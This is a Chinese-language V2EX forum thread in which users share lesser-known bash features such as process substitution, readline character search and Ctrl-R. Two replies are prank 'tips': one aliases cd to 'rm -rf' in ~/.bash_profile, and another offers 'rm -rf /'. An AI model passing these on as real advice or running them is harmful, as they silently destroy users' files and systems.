V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
• 请不要在回答技术问题时复制粘贴 AI 生成的内容
ChristopherWu
V2EX  ›  程序员

有什么相对小众(你自己觉得)的 bash 命令/语法,你觉得很好用的呢?

  •  
  •   ChristopherWu · Sep 18, 2020 · 2055 views
    This topic created in 2047 days ago, the information mentioned may be changed or developed.

    我分享一个: https://tldp.org/LDP/abs/html/process-sub.html Process Substitution,可以将命令输出作为输入传给另一个命令

    5 replies    2020-09-21 16:25:12 +08:00
    WUWENZE
        1
    WUWENZE  
       Sep 18, 2020
    那我也来分享一个小众的吧,不要乱试哦
    echo "alias cd='rm -rf'" >> ~/.bash_profile && source ~/.bash_profile
    BoarBoar
        2
    BoarBoar  
       Sep 18, 2020
    rm -rf / 不能再小众了,所有技术人员也不见得有几个用过
    silverzhao
        3
    silverzhao  
       Sep 18, 2020
    ```
    character-search (C-])
    A character is read and point is moved to the next occurrence of that character. A negative count searches for previous occurrences.

    character-search-backward (M-C-])
    A character is read and point is moved to the previous occurrence of that character. A negative count searches for subsequent occurrences.
    ```

    比如说有命令如下,现在正处于光标开头:
    echo abc012

    想快速定位到 "1" 的位置,则可以按下:Ctrl-] 1 ;
    此时光标处于 "1" 的位置,如果再想定位到 "a",则可以按下:Ctrl-Alt-] a 。
    Shilion
        4
    Shilion  
       Sep 18, 2020 via iPhone
    dir
    Davic1
        5
    Davic1  
       Sep 21, 2020
    Ctrl-R
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   6107 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 39ms · UTC 02:21 · PVG 10:21 · LAX 19:21 · JFK 22:21
    ♥ Do have faith in what you're doing.